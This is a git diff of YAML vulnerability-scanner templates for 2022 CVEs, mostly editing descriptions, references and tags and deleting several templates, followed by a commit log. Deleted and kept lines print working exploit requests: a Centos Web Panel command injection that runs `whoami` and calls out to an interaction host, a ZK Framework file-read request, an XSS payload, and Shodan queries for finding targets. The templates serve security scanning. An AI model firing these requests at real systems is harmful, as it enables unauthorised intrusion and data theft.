-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2022-29153
-    cwe-id: CWE-918
-  metadata:
-    shodan-query: title:"Consul by HashiCorp"
-    verified: "true"
-  tags: cve,cve2022,consul,hashicorp,ssrf
-
-requests:
-  - raw:
-      - |
-        PUT /v1/agent/check/register HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/json
-
-        {
-         "id": "{{randstr}}",
-         "name": "{{randstr}}",
-         "method": "GET",
-         "http": "/dev/null",
-         "interval": "10s",
-         "timeout": "1s",
-         "disable_redirects": true
-        }
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - unknown field "disable_redirects"
-
-      - type: status
-        status:
-          - 400
@@ -1,14 +1,15 @@
 id: CVE-2022-31656

 info:
-  name: VMware - Local File Inclusion
+  name: VMware - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
-    VMware Workspace ONE Access, Identity Manager, and Realize Automation are vulnerable to local file inclusion because they contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
+    VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
  reference:
    - https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd
    - https://www.vmware.com/security/advisories/VMSA-2022-0021.html
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31656
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31656
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
@@ -42,5 +43,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -1,16 +1,16 @@
 id: CVE-2022-31793

 info:
-  name: muhttpd <=1.1.5 - Local Inclusion
+  name: muhttpd <= 1.1.5 - Path traversal
  author: scent2d
  severity: high
  description: |
-    muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.
+    A Path traversal vulnerability exists in versions muhttpd 1.1.5 and earlier. The vulnerability is directly requestable to files within the file system.
  reference:
    - https://derekabdine.com/blog/2022-arris-advisory.html
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31793
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31793
    - https://derekabdine.com/blog/2022-arris-advisory
-    - https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/08/millions-of-arris-routers-are-vulnerable-to-path-traversal-attacks/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -36,5 +36,3 @@ network:
        encoding: hex
        words:
          - "726f6f743a"
-
-# Enhanced by mp on 2023/01/15
@@ -1,44 +0,0 @@
-id: CVE-2022-32429
-
-info:
-  name: MSNSwitch Firmware MNT.2408 - Configuration Dump
-  author: theabhinavgaur
-  severity: critical
-  description: |
-    The vulnerability is an authentication bypass which allows the full configuration of the unit to be downloaded. The credentials obtained here can then be used via a local subnet vulnerability to obtain a full root shell on the device.
-  reference:
-    - https://packetstormsecurity.com/files/169819/MSNSwitch-Firmware-MNT.2408-Remote-Code-Execution.html
-    - https://elifulkerson.com/CVE-2022-32429/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-32429
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2022-32429
-    cwe-id: CWE-287
-  metadata:
-    shodan-query: http.favicon.hash:-2073748627 || http.favicon.hash:-1721140132
-    verified: "true"
-  tags: config,dump,packetstorm,cve,cve2022,msmswitch,unauth,switch
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/cgi-bin-hax/ExportSettings.sh"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "SSID1"
-
-      - type: regex
-        part: header
-        regex:
-          - 'filename="Settings(.*).dat'
-          - 'application/octet-stream'
-        condition: and
-
-      - type: status
-        status:
-          - 200
@@ -17,9 +17,8 @@ info:
    cwe-id: CWE-77
  metadata:
    shodan-query: title:"Spark Master at"
-    cve-id: CVE-2022-33891
    verified: "true"
-  tags: packetstorm,cve,cve2022,apache,spark,authenticated
+  tags: cve,cve2022,apache,spark,authenticated

 variables:
  command: "echo CVE-2022-33891 | rev"
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2022-33965
    cwe-id: CWE-89
  metadata:
-    google-query: inurl:"/wp-content/plugins/wp-stats-manager"
+    google-dork: inurl:"/wp-content/plugins/wp-stats-manager"
    verified: "true"
  tags: cve,cve2022,wordpress,wp-plugin,wp,unauth,sqli,wp-stats-manager

@@ -5,11 +5,11 @@ info:
  author: edoardottt
  severity: high
  description: |
-    Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.
+    Cuppa CMS v1.0 was discovered to contain a local file inclusion (LFI) vulnerability via the component /templates/default/html/windows/right.php.
  reference:
    - https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
-    - https://github.com/CuppaCMS/CuppaCMS/issues/18
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34121
+    - https://github.com/CuppaCMS/CuppaCMS/issues/18
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -37,5 +37,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -16,7 +16,7 @@ info:
    cwe-id: CWE-79
  metadata:
    verified: true
-    google-query: inurl:wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php
+    google-dork: inurl:wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php
  tags: wpscan,cve,cve2022,wp-plugin,wp,wordpress,xss,wpb-show-core

 requests:
@@ -1,16 +1,15 @@
 id: CVE-2022-35413

 info:
-  name: WAPPLES Web Application Firewall <=6.0 - Hardcoded Credentials
+  name: Wapples Web Application Firewall - Hardcoded credentials
  author: For3stCo1d
  severity: critical
  description: |
-    WAPPLES Web Application Firewall through 6.0 contains a hardcoded credentials vulnerability. It contains a hardcoded system account accessible via db/wp.no1, as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file. An attacker can use this account to access system configuration and confidential information, such as SSL keys, via an HTTPS request to the /webapi/ URI on port 443 or 5001.
+    WAPPLES through 6.0 has a hardcoded systemi account accessible via db/wp.no1 (as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file). A threat actor could use this account to access the system configuration and confidential information (such as SSL keys) via an HTTPS request to the /webapi/ URI on port 443 or 5001.
  reference:
    - https://medium.com/@_sadshade/wapples-web-application-firewall-multiple-vulnerabilities-35bdee52c8fb
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35413
    - https://azuremarketplace.microsoft.com/en/marketplace/apps/penta-security-systems-inc.wapples_sa_v6?tab=Overview
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-35413
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -54,5 +53,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/01/06
@@ -1,65 +0,0 @@
-id: CVE-2022-36537
-
-info:
-  name: ZK Framework v9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 - Sensitive Information Disclosure
-  author: theamanrawat
-  severity: high
-  description: |
-    ZK Framework v9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 allows attackers to access sensitive information via a crafted POST request sent to the component AuUploader.
-  reference:
-    - https://github.com/Malwareman007/CVE-2022-36537/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-36537
-    - https://tracker.zkoss.org/browse/ZK-5150
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2022-36537
-    cwe-id: CWE-200
-  metadata:
-    shodan-query: http.title:"Server backup manager"
-    verified: "true"
-  tags: cve,cve2022,zk-framework,exposure,unauth
-
-requests:
-  - raw:
-      - |
-        GET /login.zul HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        POST /zkau/upload?uuid=101010&dtid={{dtid}}&sid=0&maxsize=-1 HTTP/1.1
-        Host: {{Hostname}}
-        Accept-Encoding: gzip, deflate
-        Accept: */*
-        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCs6yB0zvpfSBbYEp
-        Content-Length: 154
-
-        ------WebKitFormBoundaryCs6yB0zvpfSBbYEp
-        Content-Disposition: form-data; name="nextURI"
-
-        /WEB-INF/web.xml
-        ------WebKitFormBoundaryCs6yB0zvpfSBbYEp--
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "<display-name>.*</display-name>"
-          - "<welcome-file-list>((.|\n)*)welcome-file-list>"
-          - "xml version"
-          - "web-app"
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        name: dtid
-        group: 1
-        regex:
-          - "dt:'(.*?)',cu:"
-        internal: true
@@ -1,15 +1,15 @@
 id: CVE-2022-36642

 info:
-  name: Omnia MPX 1.5.0+r1 - Local File Inclusion
+  name: Omnia MPX 1.5.0+r1 - Path Traversal
  author: arafatansari,ritikchaddha,For3stCo1d
  severity: critical
  description: |
-    Telos Alliance Omnia MPX Node through 1.5.0+r1 is vulnerable to local file inclusion via logs/downloadMainLog. By retrieving userDB.json allows an attacker to retrieve cleartext credentials and escalate privileges via the control panel.
+    A local file disclosure vulnerability in /appConfig/userDB.json of Telos Alliance Omnia MPX Node through 1.5.0+r1 allows attackers to escalate privileges to root and execute arbitrary commands.
  reference:
    - https://www.exploit-db.com/exploits/50996
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36642
    - https://cyber-guy.gitbook.io/cyber-guy/pocs/omnia-node-mpx-auth-bypass-via-lfd
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-36642
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -41,5 +41,3 @@ requests:
          - '"mustChangePwd":'
          - '"roleUser":'
        condition: and
-
-# Enhanced by mp on 2023/01/15
@@ -1,14 +1,14 @@
 id: CVE-2022-37299

 info:
-  name: Shirne CMS 1.2.0 - Local File Inclusion
+  name: Shirne CMS 1.2.0. - Path Traversal
  author: pikpikcu
  severity: medium
-  description: Shirne CMS 1.2.0 is vulnerable to local file inclusion which could cause arbitrary file read via /static/ueditor/php/controller.php.
+  description: Shirne CMS 1.2.0 There is a Path Traversal vulnerability which could cause arbitrary file read via /static/ueditor/php/controller.php
  reference:
    - https://twitter.com/pikpikcu/status/1568316864690028544
-    - https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37299
+    - https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
@@ -38,5 +38,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -1,17 +1,17 @@
 id: CVE-2022-3768

 info:
-  name: WordPress WPSmartContracts <1.3.12 - SQL Injection
+  name: WPSmartContracts < 1.3.12 - Author SQLi
  author: Hardik-Solanki
  severity: high
  description: |
-    WordPress WPSmartContracts plugin before 1.3.12 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker with a role as low as author can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
+    The WPSmartContracts WordPress plugin before 1.3.12 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as author
  reference:
    - https://wpscan.com/vulnerability/1d8bf5bb-5a17-49b7-a5ba-5f2866e1f8a3
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3768
-    - https://cve.report/CVE-2022-3768
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3768
-  remediation: Fixed in version 1.3.12.
+    - https://cve.report/CVE-2022-3768
+  remediation: Fixed in version 1.3.12
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
@@ -19,7 +19,7 @@ info:
    cwe-id: CWE-89
  metadata:
    verified: "true"
-  tags: wp-smart-contracts,authenticated,cve,wordpress,wp,sqli,cve2022,wp-plugin,wpscan
+  tags: wpscan,cve2022,wp-plugin,wp,authenticated,cve,wordpress,sqli,wp-smart-contracts

 requests:
  - raw:
@@ -45,5 +45,3 @@ requests:
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "Batch Mint NFTs")'
        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -5,9 +5,10 @@ info:
  author: pikpikcu
  severity: high
  description: |
-    Zaver through 2020-12-15  is vulnerable to local file inclusion via the GET /.. substring.
+    Zaver through 2020-12-15 allows directory traversal via the GET /.. substring.
  reference:
    - https://github.com/zyearn/zaver/issues/22
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38794
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38794
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
@@ -31,5 +32,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -1,47 +0,0 @@
-id: CVE-2022-39195
-
-info:
-  name: LISTSERV v17 - Cross Site Scripting
-  author: arafatansari
-  severity: medium
-  description: |
-    A reflected cross-site scripting (XSS) vulnerability in the LISTSERV 17 web interface allows remote attackers to inject arbitrary JavaScript or HTML via the "c" parameter.
-  reference:
-    - https://packetstormsecurity.com/files/170552/LISTSERV-17-Cross-Site-Scripting.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-39195
-    - https://peach.ease.lsoft.com/scripts/wa-PEACH.exe?A0=LSTSRV-L
-    - https://packetstormsecurity.com/2301-exploits/listserv17-xss.txt
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2022-39195
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: http.html:"LISTSERV"
-    verified: "true"
-  tags: cve,cve2022,xss,listserv,packetstorm
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E"
-      - "{{BaseURL}}/scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E"
-
-    stop-at-first-match: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "<script>alert(document.domain)</script>"
-          - "LISTSERV"
-        condition: and
-        case-insensitive: true
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200
@@ -1,11 +1,11 @@
 id: CVE-2022-4050

 info:
-  name: WordPress JoomSport <5.2.8 - SQL Injection
+  name: JoomSport < 5.2.8 - Unauthenticated SQLi
  author: theamanrawat
  severity: critical
  description: |
-    WordPress JoomSport plugin before 5.2.8 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
+    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
  reference:
    - https://wpscan.com/vulnerability/5c96bb40-4c2d-4e91-8339-e0ddce25912f
    - https://wordpress.org/plugins/joomsport-sports-league-results-management/
@@ -17,7 +17,7 @@ info:
    cwe-id: CWE-89
  metadata:
    verified: "true"
-  tags: wpscan,cve,cve2022,wp-plugin,wp,joomsport-sports-league-results-management,wordpress,sqli,unauth
+  tags: cve2022,wp-plugin,wp,sqli,cve,wordpress,joomsport-sports-league-results-management,unauth,wpscan

 requests:
  - raw:
@@ -37,5 +37,3 @@ requests:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "jscaruselcont jsview2")'
        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -1,11 +1,11 @@
 id: CVE-2022-40734

 info:
-  name: Laravel Filemanager v2.5.1 - Local File Inclusion
+  name: UniSharp aka Laravel Filemanager v2.5.1 - Directory Traversal
  author: arafatansari
  severity: medium
  description: |
-    Laravel Filemanager (aka UniSharp) through version 2.5.1 is vulnerable to local file inclusion via download?working_dir=%2F.
+    UniSharp laravel-filemanager (aka Laravel Filemanager) through 2.5.1 allows download?working_dir=%2F.. directory traversal to read arbitrary files.
  reference:
    - https://github.com/UniSharp/laravel-filemanager/issues/1150
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40734
@@ -30,5 +30,3 @@ requests:
      - type: regex
        regex:
          - "root:[x*]:0:0"
-
-# Enhanced by mp on 2023/01/15
@@ -5,7 +5,7 @@ info:
  author: For3stCo1d
  severity: critical
  description: |
-    SolarView Compact 6.00 is vulnerable to a command injection via network_test.php.
+    SolarView Compact 6.00 was discovered to contain a command injection vulnerability via network_test.php
  reference:
    - https://github.com/Timorlover/SolarView_Compact_6.0_rce_via_network_test.php
    - https://github.com/advisories/GHSA-wx3r-88rg-whxq
@@ -42,5 +42,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -1,16 +1,16 @@
 id: CVE-2022-41840

 info:
-  name: Welcart eCommerce <=2.7.7 - Local File Inclusion
+  name: Welcart eCommerce <= 2.7.7 - Unauth Directory Traversal
  author: theamanrawat
  severity: critical
  description: |
-    Welcart eCommerce 2.7.7 and before are vulnerable to unauthenticated local file inclusion.
+    Unauth. Directory Traversal vulnerability in Welcart eCommerce plugin <= 2.7.7 on WordPress.
  reference:
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability
    - https://wordpress.org/plugins/usc-e-shop/
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41840
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability?_s_id=cve
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-41840
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -40,5 +40,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -1,16 +1,16 @@
 id: CVE-2022-4260

 info:
-  name: WordPress WP-Ban <1.69.1 - Stored Cross-Site Scripting
+  name: WP-Ban < 1.69.1 - Admin Stored XSS
  author: Hardik-Solanki
  severity: medium
  description: |
-    WordPress WP-Ban plugin before 1.69.1 contains a stored cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, which can allow high-privilege users to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be exploited even when the unfiltered_html capability is disallowed, for example in multisite setup.
-  remediation: Fixed in version 1.69.1.
+    The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
  reference:
    - https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260
    - https://drive.google.com/file/d/11nQ21cQ9irajYqNqsQtNrLJOkeRcwCXn/view?usp=drivesdk
+  remediation: Fixed in version 1.69.1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
@@ -18,7 +18,7 @@ info:
    cwe-id: CWE-79
  metadata:
    verified: "true"
-  tags: wp-plugin,xss,wp-ban,authenticated,wpscan,cve,cve2022,wordpress,wp
+  tags: cve2022,wp-plugin,wp,xss,authenticated,cve,wordpress,wp-ban,wpscan

 requests:
  - raw:
@@ -66,5 +66,3 @@ requests:
        regex:
          - '_wpnonce=([0-9a-z]+)'
        internal: true
-
-# Enhanced by md on 2023/01/06
@@ -1,54 +0,0 @@
-id: CVE-2022-44877
-
-info:
-  name: Centos Web Panel - Unauthenticated Remote Code Execution
-  author: For3stCo1d
-  severity: critical
-  description: |
-    RESERVED An issue in the /login/index.php component of Centos Web Panel 7 before v0.9.8.1147 allows unauthenticated attackers to execute arbitrary system commands via crafted HTTP requests.
-  reference:
-    - https://twitter.com/_0xf4n9x_/status/1612068225046675457
-    - https://github.com/numanturle/CVE-2022-44877
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-44877
-    - https://gist.github.com/numanturle/c1e82c47f4cba24cff214e904c227386
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2022-44877
-    cwe-id: CWE-78
-  metadata:
-    shodan-query: http.title:"Login | Control WebPanel"
-    verified: "true"
-  tags: cve,cve2022,centos,rce,kev
-
-requests:
-  - raw:
-      - |
-        POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        username=root&password=toor&commit=Login
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: interactsh_protocol  # Confirms the HTTP Interaction
-        words:
-          - "dns"
-
-      - type: word
-        part: body
-        words:
-          - "Login Redirect."
-
-      - type: status
-        status:
-          - 302
-
-    extractors:
-      - type: regex
-        part: interactsh_request
-        group: 1
-        regex:
-          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
@@ -19,7 +19,7 @@ info:
  metadata:
    shodan-query: http.html:"ILIAS"
    verified: "true"
-  tags: redirect,packetstorm,seclists,cve,cve2022,ilias
+  tags: seclists,cve,cve2022,ilias,redirect,packetstorm

 requests:
  - method: GET
Author	SHA1	Message	Date
Dhiyaneshwaran	c87867c691	Merge pull request #6930 from projectdiscovery/CVE-2020-16846 Update CVE-2020-16846.yaml	2023-03-22 08:55:41 +05:30
Ritik Chaddha	44dac81ec8	Update CVE-2020-16846.yaml	2023-03-21 14:09:29 +05:30
Prince Chaddha	d786731fb1	Merge pull request #6801 from brabbit10/master Fixes issue with github-recovery-code generating many FPs	2023-03-02 13:37:07 +05:30
Dhiyaneshwaran	68968ff1ad	deletion	2023-03-02 13:34:02 +05:30
GitHub Action	5ee38b1454	Auto WordPress Plugins Update [Thu Mar 2 04:26:26 UTC 2023] 🤖	2023-03-02 04:26:26 +00:00
GitHub Action	b28f26edc8	Auto WordPress Plugins Update [Wed Mar 1 04:26:33 UTC 2023] 🤖	2023-03-01 04:26:33 +00:00
GitHub Action	6cf1d05e1f	Auto WordPress Plugins Update [Tue Feb 28 04:25:57 UTC 2023] 🤖	2023-02-28 04:25:57 +00:00
GitHub Action	ea2500ce11	Auto WordPress Plugins Update [Mon Feb 27 04:25:57 UTC 2023] 🤖	2023-02-27 04:25:57 +00:00
GitHub Action	4a363a8511	Auto Generated CVE annotations [Sun Feb 26 13:23:33 UTC 2023] 🤖	2023-02-26 13:23:33 +00:00
brabbit10	49b5737eba	Update github-recovery-code.yaml	2023-02-26 15:19:13 +02:00
brabbit10	355362c30f	Update and rename file/keys/github-recovery-code.yaml to file/keys/github/github-recovery-code.yaml	2023-02-26 15:08:47 +02:00